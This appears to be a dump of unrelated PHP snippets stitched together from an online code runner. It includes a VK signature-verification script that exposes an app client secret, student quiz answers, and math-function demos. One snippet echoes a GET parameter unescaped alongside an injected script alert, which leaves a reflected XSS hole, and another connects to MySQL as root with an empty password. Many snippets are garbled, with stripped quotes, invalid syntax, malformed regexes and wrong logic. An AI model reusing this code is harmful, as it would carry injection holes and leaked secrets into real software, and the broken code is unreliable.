<?php $url = 'https://sale.aliexpress.com/ru/__mobile/hello-vk_m.htm?t=4&vk_access_token_settings=&vk_app_id=6706576&vk_are_notifications_enabled=1&vk_is_app_user=1&vk_language=en&vk_platform=iphone&vk_user_id=469955933&sign=2WIZysi1hVJ4aBXeBX4vZtIWGznsFNzrbXiu0lkmg-s'; $client_secret = 'L2y61RUdbtXZNy38dCzV'; //Защищённый ключ из настроек вашего приложения $query_params = []; parse_str(parse_url($url, PHP_URL_QUERY), $query_params); // Получаем query-параметры из URL $sign_params = []; foreach ($query_params as $name => $value) { if (strpos($name, 'vk_') !== 0) { // Получаем только vk параметры из query continue; } $sign_params[$name] = $value; } ksort($sign_params); // Сортируем массив по ключам $sign_params_query = http_build_query($sign_params); // Формируем строку вида "param_name1=value&param_name2=value" $sign = rtrim(strtr(base64_encode(hash_hmac('sha256', $sign_params_query, $client_secret, true)), '+/', '-_'), '='); // Получаем хеш-код от строки, используя защищеный ключ приложения. Генерация на основе метода HMAC. $status = $sign === $query_params['sign']; // Сравниваем полученную подпись со значением параметра 'sign' echo ($status ? 'ok' : 'fail')."\n";?>

natural sorting

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $arra0 ="Βιβλιοθήκη/Σημειώσεις τρέχοντος εξαμήνου/1ου εξάμηνου μαθήματα/Γραμμική Άλγεβρα I/Περιττοί (Κεχαγιάς)/00) Φυλλάδιο 16-10-2018.pdf"; $arra1="Βιβλιοθήκη/Σημειώσεις τρέχοντος εξαμήνου/1ου εξάμηνου μαθήματα/Γραμμική Άλγεβρα I/Περιττοί (Κεχαγιάς)/02) Φυλλάδιο 2-11-2018.pdf"; $arra2= "Βιβλιοθήκη/Σημειώσεις τρέχοντος εξαμήνου/1ου εξάμηνου μαθήματα/Γραμμική Άλγεβρα I/Περιττοί (Κεχαγιάς)/10) Φυλλάδιο 26-10-2018.pdf"; $arra3= "Βιβλιοθήκη/Σημειώσεις τρέχοντος εξαμήνου/1ου εξάμηνου μαθήματα/Γραμμική Άλγεβρα I/Περιττοί (Κεχαγιάς)/11) Φυλλάδιο 9-10-2018.pdf"; $array1[0]=$arra0; $array1[1]=$arra1; $array1[2]=$arra2; $array1[3]=$arra3; $array2[0]=$arra0; $array2[1]=$arra1; $array2[2]=$arra2; $array2[3]=$arra3; asort($array1); echo "Standard sorting\n"; print_r($array1); natsort($array1); echo "\nNatural order sorting\n"; print_r($array1); ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $team = array('Bill','Mary','Mike','Chris'); shuffle($team); print_r($team); ?> </body> </html> <p>Вопрос 1:</p> <p>2 + 2 = ?</p> <form action="task2.php" method="post"> <input type="text" name="answer1"/> <input type="submit"/> </form> <p>Вопрос 1:</p> <p>2 + 2 = ?</p> <form action="task2.php" method="post"> <input type="text" name="answer1"/> <input type="submit"/> </form> <html> <head> <title>My First Example</title> </head> <body> <?php echo "Hello, world!";?> </body> </html>

shit

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $servername = "127.0.0.1"; $username = "root"; $password = "; $dbname = "bullandbear"; $conn = new mysqli($servername, $username, $password, $dbname)or die("Connect failed: %s\n". $conn -> error); //$sql = "SELECT * FROM stockInfo"; //$result = $conn->query($sql); $i = null; while ($i != 13){ echo "1 Top earners of the day"; echo "2 Top losers of the day"; echo "3 Open Price"; echo "4 Close Price"; echo "5 List day high of a stock"; echo "6 List day low of a stock"; echo "7 Stock volume sold that day"; echo "8 List stocks under a certain price"; echo "9 List stocks over a certain price"; echo "10 List individual trader information"; echo "11 List stocks the trader has saved as an interest"; echo "12 List stocks the trader is actively trading"; echo "13 Exit"; $i = rtrim(fgets(STDIN)); switch ($i) { case 1: echo "Top earners of the day"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE dataDateTime = max(dataDateTime) ORDER BY SPD.currentPrice"; break; case 2: echo "Top losers of the day"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE dataDateTime = max(dataDateTime) ORDER BY SPD.currentPrice DESC"; break; case 3: echo "Open Price"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE date(dataDateTime) = to_date(SYSDATE, date format only) AND time(dataDateTime) = min(time(dataDateTime))"; break; case 4: echo "Close Price"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE date(dataDateTime) = to_date(SYSDATE, date format only) AND time(dataDateTime) = max(time(dataDateTime))"; break; case 5: echo "List day high of a stock"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE SPD.stockIndex = (INPUT1) AND SPD.currentPrice = max(SPD.currentPrice) AND date(dataDateTime) = to_date(SYSDATE, date format only)"; break; case 6: echo "List day low of a stock"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE SPD.stockIndex = (INPUT1) AND SPD.currentPrice = min(SPD.currentPrice) AND date(dataDateTime) = to_date(SYSDATE, date format only)"; break; case 7: echo "Stock volume sold that day"; $sql = "SELECT SPD.stockIndex Index, SUM(SPD.volumeSold) volumeSold FROM stockPriceData SPD WHERE SPD.stockIndex = (INPUT1)"; break; case 8: echo "List stocks under a certain price"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE SPD.dataDateTime = SYSDATE --current date and time AND SPD.currentPrics < (INPUT1)"; break; case 9: echo "List stocks over a certain price"; $sql = "SELECT SPD.stockIndex Index, SPD.currentPrice Cost FROM stockPriceData SPD WHERE SPD.dataDateTime = SYSDATE --current date and time AND SPD.currentPrics > (INPUT1)"; break; case 10: echo "List individual trader information"; $sql = "SELECT TI.firstName || ' ' || TI.lastName “Trader Name”, TI.title Position, BFD.firmName \"Company Name\", BFD.address1, BFD.address2, BFD.city, BFD.state, BFD.zip FROM traderInfo TI, brokerageFirmData BFD WHERE TI.brokerageFirmID = BFD.firmID AND TI.firstName = (INPUT1) AND TI.lastName = (INPUT2)"; break; case 11: echo " List stocks the trader has saved as an interest"; $sql = "SELECT SI.stockIndex Index FROM traderInfo TI, stockInfo SI WHERE TI.traderID = SI.traderID AND SI.activeOrWatching = 'Watching'"; break; case 12: echo "List stocks the trader is actively trading"; $sql = "SELECT SI.stockIndex Index FROM traderInfo TI, stockInfo SI WHERE TI.traderID = SI.traderID AND SI.activeOrWatching = 'Active'"; break; } } ?> </body> </html>

getExampleTest

<html> <body> Hello: <form method="get"> Action:<br> <input type="text" name="action"><br> <input type="submit" name="submit"><br> </form> <?php echo "<script>alert('I am an alert box!');</script>"; if(isset($_GET['submit'])) { echo $_GET['action']; }?> </body> </html>

http://account.garena.com

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>http://account.garena.com

sasa

<?php $str= "Ali Veli-100.Yıl Mah& Ornek Sokak \ No 10 :6/KARABÜK"; $Ad=substr($str,0,strpos($str," ")); $Soyad=substr($str,strpos($str," ",strpos($str,"-"))); $Mah=substr($str,strpos($str,"-"),strpos($str,"&")); $Sokak=substr($str,strpos($str,"&"),strpos($str,"\\")); $No=substr($str,strpos($str,"&"),strpos($str,"\\")); $Sehir=substr($str,strpos($str,"/",(strlen($str)-strpos($str,"/")))); echo $Ad; echo $Soyad; echo $Mah; echo $Sokak; echo $No; echo $Sehir; /* / = dizginin başlangıç ve bitiş elemanı, string()'den farklı olarak kullanılır. [ ] = Karakterleri gruplandırmak için Köşeli Parantez kullanıyoruz. + = Birden fazla sayıda elaman üzerinde işlem yapmak istediğimizi belirttik. Aksi halde string() fonksiyonundan bir farkı kalmaz. \s = Herhangi bir boşluk karakteri belirtir(boşluk,tab vs.). Basit olarak kullanımı bu şekildedir. Eğer boşluk haricinde silmek istediğimiz karakterler var ise hemen \s ‘in yanına öylece ekleyebiliriz. Örneğin ifademiz [\s,%&] şeklinde olsaydı dizgimizin arasında bulunan tüm ‘boşluk’, ‘%’ ve ‘&’ karakterlerini silecekti. */?>

preg_split_deneme_ornek__

<?php $text= "Ali Veli-100.Yıl Mah& Ornek Sokak \ No 10 :6/KARABÜK"; $text=preg_split('/[\s-&\/]+/',$text); echo "Name: " . $text[0] . "\n"; echo "Surname: " . $text[1] . "\n"; echo "District: " . $text[2]. " " . $text[3] . "\n"; echo "Street: " . $text[4] . " " . $text[5] . "\n"; echo "Apartment: " . $text[7] . " " . $text[8] . $text[9] . "\n"; echo "City: " . $text[10] . "\n"; /* / = dizginin başlangıç ve bitiş elemanı, string()'den farklı olarak kullanılır. [ ] = Karakterleri gruplandırmak için Köşeli Parantez kullanıyoruz. + = Birden fazla sayıda elaman üzerinde işlem yapmak istediğimizi belirttik. Aksi halde string() fonksiyonundan bir farkı kalmaz. \s = Herhangi bir boşluk karakteri belirtir(boşluk,tab vs.). Basit olarak kullanımı bu şekildedir. Eğer boşluk haricinde silmek istediğimiz karakterler var ise hemen \s ‘in yanına öylece ekleyebiliriz. Örneğin ifademiz [\s,%&] şeklinde olsaydı dizgimizin arasında bulunan tüm ‘boşluk’, ‘%’ ve ‘&’ karakterlerini silecekti. */?>

Find Single Value in Array

<?php $a = array(2,3,4,3,5,2,4,5,10); foreach($a as $A) echo $A." "; for($i = 0;$i < count($a);$i++){ for($j = 0;$j < count($a);$j++){ if(!($a[$i] == $a[$j] && $i!=$j )){ echo $a[$i]." ". $a[$j]; echo $i." ".$j."\n"; if(($j) == count($a)-1 && $a[$i]!=$a[$j]){ echo $a[$i]." is Single"; return 1; }else { continue; } }else if($a[$i]==$a[$j]){ echo "match".$a[$i]." ".$a[$j]."\n"; break; } if($j == count($a)){ echo $a[$i]."is Single"; } //echo "All No. Are Twice"; } } ?>

https://pt.stackoverflow.com/q/341583/101

<?php $lista = ["Maça", "Pera"]; [$maca, $pera] = $lista; echo "{$maca} {$pera}"; //https://pt.stackoverflow.com/q/341583/101

wgdfgasd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php // マージソート function margeSort($arr, $head, $tail, $ctx) { if ($head < $tail) { $mid = floor(($head + $tail) / 2); margeSort($arr, $head, $mid, $ctx."a"); margeSort($arr, $mid+1, $tail, $ctx."b"); $l = array_slice($arr, $head, $mid+1 - $head); $r = array_slice($arr, $mid+1, $tail - $mid+1); print_r($l); print_r($r); $i = $head; while (count($l) > 0 && count($r) > 0) { if ($l[0] <= $r[0]) { $arr[$i++] = array_shift($l); } else { $arr[$i++] = array_shift($r); } } while (count($l) > 0) { $arr[$i++] = array_shift($l); } echo $head; echo $mid; echo $tail; echo $ctx; echo '  '; } return $arr; } $arr = array(148, 651, 124, 638, 567, 435, 185, 413, 841, 35); print_r(margeSort($arr, 0, count($arr)-1, ")); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $err = "Failed to retrieve shipping label: Unable to verify address.; Failed to retrieve shipping label: Unable to verify address.;Failed to retreive shipping label; Failed to retreive shipping label; Failed to retreive shipping label; Failed to retreive shipping label; Failed to retreive shipping label shipping country != billing country,>$100,email not exempt"; //$err = "shipping country != billing country,>$100,email not exempt"; $errArr = array_filter( array_map('trim', explode(';', $err)), function ($reason) { return (! empty($reason) && $reason != 'Failed to retreive return label'); } ); $res = []; foreach (array_count_values($errArr) as $key => $val) { if ($val > 1) { $key = $key. " ({$val} of attempts)"; } $res[] = $key; } var_dump($res); ?> </body> </html>

tan() function in PHP example 4

<?php echo(tan(-5) . "<br>"); echo(tan(-10)); ?>

srand() function in PHP

<?php srand(mktime()); echo(mt_rand()); ?>

sinh() function in PHP

<?php echo(sinh(0) . "<br>"); echo(sinh(1) ); ?>

sin() function in PHP example 2

<?php echo(sin(0) . "<br>"); echo(sin(1) . "<br>"); echo(sin(-1) . "<br>"); echo(sin(2) . "<br>"); ?>

round() function in PHP example 3

<?php echo(round(10.5,0,PHP_ROUND_HALF_UP) . "<br>"); echo(round(-10.5,0,PHP_ROUND_HALF_UP) ); ?>

rad2deg() function in PHP example 2

<?php echo rad2deg(pi()/2); ?>

mt_srand() function in PHP

<?php mt_srand(mktime()); echo(mt_rand()); ?>

log1p() function in PHP

<?php echo(log1p(1)); ?>

log10() function in PHP example 2

<?php echo(log10(0)); ?>

log() function in PHP example 3

<?php echo(log(10)); echo(log(2.7)); ?>

is_infinite() function in PHP example 2

<?php echo is_infinite(log(0)); ?>

is_infinite() function in PHP

<?php echo is_infinite(1); ?>

is_finite() function in PHP example 2

<?php echo is_finite(log(0)); ?>

hypot() function in PHP

<?php echo hypot(2,8) . "<br>"; echo hypot(8,3); ?>

floor() function in PHP example 2

<?php echo(floor(9)); ?>

expm1() function in PHP

<?php echo(expm1(0) . "<br>"); echo(expm1(1)); ?>

exp() function in PHP example 2

<?php echo(exp(2) . "<br>"); echo(exp(5) . "<br>"); echo(exp(20)); ?>

exp() function in PHP

<?php echo(exp(0) . "<br>"); echo(exp(1)); ?>

deg2rad() function in PHP example 2

<?php echo deg2rad("45") . "<br>"; echo deg2rad("90") . "<br>"; echo deg2rad("180") . "<br>"; echo deg2rad("270") . "<br>"; echo deg2rad("360"); ?>

cosh() function in PHP example 2

<?php echo(cosh(0)); ?>

cos() function in PHP example 2

<?php echo(cos(0)); ?>

ceil() function in PHP example 2

<?php echo(ceil(2)); ?>

bindec() function in PHP

<?php echo bindec("1101"); ?>

base_convert() function in PHP example 2

<?php $res = "D365"; echo base_convert($res,16,8); ?>

base_convert() function in PHP

<?php $res = "0040"; echo base_convert($res,8,10); ?>

atanh() function in PHP example 3

<?php echo(atanh(0)); ?>

asinh() function in PHP

<?php echo(asinh(1) . "<br>"); echo(asinh(1.75) . "<br>"); ?>

asin() function in PHP example 2

<?php echo(asin(0) . "<br>"); echo(asin(1) . "<br>"); echo(asin(-1) . "<br>"); echo(asin(2) . "<br>"); ?>

abs() function in PHP example 2

<?php echo(abs(20) . "<br>"); echo(abs(-50) . "<br>"); ?> <?php class test extends Thread { public $name = ''; public $runing = false; public function __construct($name) { $this->name = $name; $this->runing = true; } public function run() { $n = 0; while ($this->runing) { printf("name: %s %s\n",$this->name, $n); $n++; sleep(1); } } } $pool[] = new test('a'); $pool[] = new test('b'); $pool[] = new test('c'); foreach ($pool as $w) { $w->start(); }

php1

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php /** * Formata e devolve um valor. * Pode formatar CPF, CNPJ, CEP, Tel de 8 ou 9 dígitos com, opcionalmente, o DDD. * * @param [string] $mask qual máscara usar para formatar o valor. * Valores possíveis: cep, cpf, cnpj, tel. * @param [string] $value valor a ser formatado com ou sem pontuação. * @return string retorna o valor formatado. */ function value_mask($mask, $value) { $type_mask = [ "cep" => "%s%s%s%s%s-%s%s%s", "cpf" => "%s%s%s.%s%s%s.%s%s%s-%s%s", "cnpj" => "%s%s.%s%s%s.%s%s%s/%s%s%s%s-%s%s", "tel8" => "%s%s%s%s-%s%s%s%s", "tel8ddd" => "(%s%s) %s%s%s%s-%s%s%s%s", "tel9" => "%s%s%s%s%s-%s%s%s%s", "tel9ddd" => "(%s%s) %s%s%s%s%s-%s%s%s%s", ]; $newValue = sanitize_value($value); if ($mask == "tel") { switch (strlen($newValue)) { case 8: $newValue = vsprintf($type_mask["tel8"], str_split($newValue)); break; case 10: $newValue = vsprintf($type_mask["tel8ddd"], str_split($newValue)); break; case 9: $newValue = vsprintf($type_mask["tel9"], str_split($newValue)); break; case 11: $newValue = vsprintf($type_mask["tel9ddd"], str_split($newValue)); break; } // end switch } else { if ($mask == 'cpf_cnpj') { if (strlen($newValue) == 11) { $newValue = vsprintf($type_mask['cpf'], str_split($newValue)); } else { if (strlen($newValue) == 14) { $newValue = vsprintf($type_mask['cnpj'], str_split($newValue)); } } } if ($mask == 'cep' && strlen($newValue) == 8) { $newValue = vsprintf($type_mask[$mask], str_split($newValue)); } } // end if return $newValue; } // end value_mask /** * Remove pontuações de campos como CEP, CPF, CNPJ, TEL. * * @param [string] $value um valor como cep, cpf, cnpj, tel. * @return string */ function sanitize_value($value) { return preg_replace("/[^0-9]/", ", $value); } // end function $tel8 = '2599-9852'; $tel10 = '(24) 2599-9852'; $tel9 = '32599-9852'; $tel11 = '(24) 32599-9852'; $cpf1 = '546.116.770-52'; $cpf2 = '53459013095'; $cnpj1 = '65.030.677/0001-18'; $cnpj2 = '35856971000112'; $cep1 = '99999-999'; $cep2 = '99999-999'; echo value_mask('cpf_cnpj', $cpf1); echo "\n\n"; echo value_mask('cpf_cnpj', $cpf2); echo "\n\n"; echo value_mask('cpf_cnpj', $cnpj1); echo "\n\n"; echo value_mask('cpf_cnpj', $cnpj2); echo "\n\n"; echo value_mask('tel', $tel8); echo "\n\n"; echo value_mask('tel', $tel10); echo "\n\n"; echo value_mask('tel', $tel9); echo "\n\n"; echo value_mask('tel', $tel11); echo "\n\n"; echo value_mask('cep', $cep1); echo "\n\n"; echo value_mask('cep', $cep2); echo "\n\n";

HOF in PHP

<?php $twice = function($f, $v) { return $f($f($v)); }; $f = function($v) { return $v + 3; }; echo($twice($f, 7));

http://localhost:6810/mail/contact_me.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $availableAdvertisers = [ (object)['brokerID' => 1], (object)['brokerID' => 2], (object)['brokerID' => 3], (object)['brokerID' => 4], (object)['brokerID' => 5], ]; //status 1 means include //status 2 means exclude $firstSetOfRules = [ (object)['brokerID' => 1, 'status' => 1], (object)['brokerID' => 2, 'status' => 1], (object)['brokerID' => 3, 'status' => 1], ]; $secondSetOfRules = [ (object)['brokerID' => 1, 'status' => 2], (object)['brokerID' => 2, 'status' => 2], (object)['brokerID' => 3, 'status' => 2], ]; var_dump($availableAdvertisers[0]->brokerID); $resultFirstSet = []; $resultSecondSet = []; <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $one=date_default_timezone_set('Asia/Calcutta'); $new2= date("Y-m-d H:i:s"); $two= date_default_timezone_set('Australia/Melbourne'); $new2= date("Y-m-d H:i:s"); ?> </body> </html>

3

<?php $str1 = "$12,334.00A"; echo preg_replace("/[^0-9,.]/", ", $str1)."\n"; ?>

4

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php i; for(i=0;i<10;i++) echo "print the of 10 digit number"; ?> </body> </html>

6

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $string = "Krishnakant Mishra"; echo "There are ".preg_match_all('/[bcdfghjklmnpqrstvwxyz]/i',$string,$matches)." consonants</strong> in the string <strong>".$string."</strong>";?> </body> </html>

5

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

3

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

question 6

<?php $string = "ph :hypertext preprocessor (or simply php) is a server-side scripting language designed for web development"; echo "There are <strong>".preg_match_all('/[aeiou]/i',$string,$matches)." consonants</strong> in the string <strong>".$string."</strong>"; ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

time_difference

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php date_default_timezone_set('Australia/Melbourne'); $melbourne = time(); date_default_timezone_set('Asia/Kolkata'); $kolkata = time(); ?> <?=date("G:i a",$melbourne)?><br /> <?=date("G:i a",$kolkata)?><br /> </body> </html>

1

<html> <head> <title>Online PHP Script Execution</title> <?php> $i; if($i==5&&$==4) echo"ausraliya time"; else echo"india time"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $str="PHP: Hypertext Preprocessor (or simply PHP) is a server-side scripting language designed for Web development"; $vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U", " "); $str = str_replace($vowels, ", $str); //echo $str; $len = strlen($str); echo($len); ?> </body> </html>

question-2

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php /*$str = "Wednesday, 8 January 2014 at 17:40"; $ex1 = explode(", ", $str); $ex2 = explode(" at", $ex1[1]); $value = $ex2[0]; echo $value;*/ $str="Dhanteras is 5th November 2018,Narak Chaturdeshi is 6th November 2018, and lakshmi Pujan is 7th November 2018"; $ex1 = explode("is ", $str); //$ex2 = explode(" ,", $ex1[1]); print_r($ex1); ?> </body> </html>

timedifference

<?php $local_tz = new DateTimeZone('Australia/Melbourne'); $local = new DateTime('now', $local_tz); //NY is 3 hours ahead, so it is 2am, 02:00 $user_tz = new DateTimeZone('Asia/Calcutta'); $user = new DateTime('now', $user_tz); $usersTime = new DateTime($user->format('Y-m-d H:i:s')); $localsTime = new DateTime($local->format('Y-m-d H:i:s')); $interval = $usersTime->diff($localsTime); //print_r($interval->h); //o echo "Time Difference IN HOurs : ".$interval->h.' Hrs.'; ?>

Answer<6>

<html> <head> <title>Answer6</title> </head> <body> <?php $str = "PHP:Hypertext Preprocessor (or simply PHP) is a server-side scripting language designed for Web development"; $char_arr = str_split($str, 1); $count = 0; foreach($char_arr as $key => $value){ if ( ($value >= 'a' && $value <= 'z') || ($value >= 'A' && $value <= 'Z') ){ if($value == 'a' || $value == 'e' || $value == 'i' || $value == 'o' || $value == 'u' || $value == 'A' || $value == 'E' || $value == 'I' || $value == 'O' || $value == 'U' ){ echo "; }else{ $count++; } } } echo "Total consonants are: ".$count; ?> </body> </html>

answer6.php

<?php $string = "PHP: Hypertext Preprocessor (or simply PHP) is a server-side scripting language designed for Web development"; echo "There are ".preg_match_all('/[B, C, D, F, G, H, J, K, L, M, N, P, Q, R, S, T, V, X, Z]/i',$string,$matches)." consonants in the string "; ?>

removeCharacter

<?php $str = '$123,34.00A'; $removeCharacter = preg_replace("/[A-Za-z]/", ", $str); echo "String After Remoing :".str_replace('$','', $removeCharacter); ?>

3.

<?php $str="$123,34.00A"; $str_arra=explode(',',$str); foreach($str_arra as $val) { if($val) { $value = str_replace('A','',$val); }else{ $value = str_replace('$','',$val); } echo "</br>"; echo $value; } ?>

smallest_element

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $arr = [3,5,2,7,4]; $smallestElement = 0; if($arr[0]>$arr[1]&&$arr[2]&&$arr[3]&&$arr[4]) { $smallestElement = $arr[0]; } elseif($arr[1]>$arr[0]&&$arr[2]&&$arr[3]&&$arr[4]) { $smallestElement = $arr[1]; } elseif($arr[2]>$arr[1]&&$arr[0]&&$arr[3]&&$arr[4]) { $smallestElement = $arr[2]; } elseif($arr[3]>$arr[1]&&$arr[2]&&$arr[0]&&$arr[4]) { $smallestElement = $arr[3]; } else { $smallestElement = $arr[4]; } echo $smallestElement; ?> </body> </html>

4

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $array=[4,2,6,1,8]; for($j = 0; $j < count($array); $j ++) { for($i = 0; $i < count($array)-1; $i ++){ if($array[$i] > $array[$i+1]) { $temp = $array[$i+1]; $array[$i+1]=$array[$i]; $array[$i]=$temp; } } } print_r($array); ?> </body> </html>

question 1

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $indiatime= date_default_timezone_set('Asia/Kolkata'); $indiatime= date('d-m-Y H:i'); $australia= date_default_timezone_set('Australia/Melbourne'); $australia= date('d-m-Y H:i'); $to_time = strtotime($indiatime); $from_time = strtotime($australia); echo round(abs($to_time - $from_time) / 60,2). " minute differecnce in between"; echo "<br>"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $str= "dhnateras is 5th november 2018, narak chaturdashi is 6th november 2018 and laxmipujan is 7th november 2018"; preg_match_all('\d\{2}\[A-Za-z]{3,4} \d{4}',$str,$matches); //preg_match_all('/\d{2th}\ \d{november}\ \d{4}/',$str,$matches); print_r($matches); ?> </body> </html>

5

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $arr= [3,5,2,7,4]; $temp=0; foreach($arr as $value){ $power=pow($value,10); if($temp<$power){ $temp=$power; $number=$value; }else{ $small_number[]=$value; } } echo "This element has smallest pow value as compare to other element ".$small_number[0]; ?> </body> </html>

1

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $arr=[3,5,2,7,4]; $temp=0; for($i=0;$i<5;$i++) { for($j=$i+1;$i<5;$j++) { if($arr[$i]<$arr[$j]) { $temp=$arr[$i]; } } } echo "10th power is"." =".pow($temp,10); ?> </body> </html>

answer2

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $x= "Dhanteras is 5th November 2018"; $date=date_create("2018-11-05"); echo date_format($date,"Y/M/d");?> </body> </html>

dhanashree 6question

<?php $str = "PHP: Hypertest Preprocessor( or simply PHP) is server-side scripting language designed for Web development"; // echo "My string is :".$str; echo "<br/>"; echo "There are ".preg_match_all('/[aeiou]/i',$str,$matches)." vowels</strong> in the string : ".$str." "; ?>

Answer3

<?php $input = '$123,34.00A'; $output = preg_replace("/[^0-9,.]/", ", $input); echo $output ?>

dhanashree 5question

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $array = array(3,5,2,7,4); // echo(max($array)); echo "array is "; print_r($array); $min_num = min($array); echo "smallest number is :".$min_num; $pow = pow($min_num,10); echo " and power of ".$min_num." is ".$pow; ?> </body> </html>

1

<?php $date1="11-10-2018 10:11"; $date2="11-10-2018 11:11"; $date2=date_diff($date1,$date2); echo $date2.getTime();?>

Answer 6

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $string = "PHP: Hypertext Preprocessor (or simply PHP) is a server-side scripting language designed for web developement"; // echo strlen($string); //$regex = '[a-z&&[^aeiou]]'; //echo preg_match('[a-z&&[^aeiou]]', $string); $exclude = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U", ":", "(", ")"); $str = str_replace($exclude, ", $string); //echo $str; echo "The number of consonants are ".strlen($str); ?> </body> </html>

Answer2

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $str = "Dhanteras is 5th November 2018,Narak chaturdashi is 6th November 2018 , Lakhmi pujan is 7th November 2018"; $arraystr = array(); $arraystr = explode(',',$str); print_r($arraystr); $strimport = implode('',$arraystr); $str1 = $arraystr[0]; print_r($str1); $str2 = $arraystr[1]; print_r($str2); $str3 = $arraystr[2]; print_r($str3); ?> </body> </html>

dhanashree 2question

<?php $sentance = "Dhanateras is 5th November 2018, Narak Chturdashi is 6th November 2018 and Lakshmi pujan is 7th November 2018"; //$sentance = " 5th November 2018 Dhanateras is 5th/11/2018, Narak Chturdashi is 6th/11/2018 and Lakshmi pujan is 7th/11/2018"; if(preg_match_all('/\d[th]{2}\ \November\ \d{4}/', $sentance,$matches)){ print_r($matches); }else{ echo "Not matched"; } ?>

Answer 5

<html> <head> <title>Smallest element Power</title> </head> <body> <?php $arr = [3,5,2,7,4]; $smallest_element = min($arr); echo "The smallest element in this array is ".$smallest_element.". "; $power = pow($smallest_element, 10); echo $smallest_element. " to the power 10 is ".$power; ?> </body> </html>

Answer<2>

<html> <head> <title>Capture all dates</title> </head> <body> <?php $str = "Dhanteras is 5th November 2018, Narak Chaturdashi is 6th November 2018 and Lakshmi Pujan is 7th November 2018"; $dates = "The dates are:- "; $str_array = explode(" ", $str); foreach($str_array as $key=>$value){ if(strpos($value, 'th') !== false){ $dates .= $value.' '; } if(strpos($value, 'November') !== false){ $dates .= $value.' '; } if(strpos($value, '2018') !== false){ $trim_val = trim($value, ","); $dates .= $trim_val.' '; } } echo $dates; ?> </body> </html>

Answer<4>

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php //echo "hi"; $arr = (1,2,3); print_r($arr); $b=sort($arr); print_r($b);die; $new_arr = (); foreach($arr as $r) { echo $r; //array_push($new_arr,$r); } //$b = array_compare($arr,$new_arr); //print_r($b); ?> </body> </html>

Answer5

<?php $arr=[3,5,2,7,4]; echo "10th Power of Smallest Element :". pow($smallest_elem=min($arr),10); ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $str = "$123,34.00A"; $new = str_replace("$",",$str); $new1 = str_replace("A",",$new); echo $new1; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php date_default_timezone_set("Australia/Melbourne"); $time_diff = date('g:i:s'); $str = strtotime($time_diff); date_default_timezone_set("Asia/Kolkata"); $time_diff1 = date('g:i:s'); $str1 = strtotime($time_diff1); $diff = $str - $str1; $hr = date('g:i:s', $diff); $str2 = strtotime($hr); echo date('i', $str2); ?> </body> </html>

Answer 3

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $str = "$123,34.00"; echo "<br>".$str; $rp = str_replace('A','',$str); echo "<pre>"; echo $rp; ?> </body> </html>

Answer<2>

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $str = "Dhanteras is 5th November 2018,Narak Chaturdashi is 6th Novemnber 2018 and Lakshmi Pujan is 7th November 2018"; $darr = preg_split("{^\d[a-z]{2}\s+[A-Za-z][a-z]{8}\s+\d{4}}",$str); echo"<pre>"; print_r($darr); ?> </body> </html>

answer6

<?php $arr = [3,5,2,7,4]; $min = min($arr); echo pow($min,10); ?>

answer4

<?php $array = [1,8,5,9,4,2,3]; for($i = 0; $i < count($array); $i ++ ) { for($j=0; $j<count($array)-1; $j++) { if($array[$j] > $array[$j+1]) { $temp = $array[$j+1]; $array[$j+1]=$array[$j]; $array[$j]=$temp; } } } print_r($array); ?>

Answer1

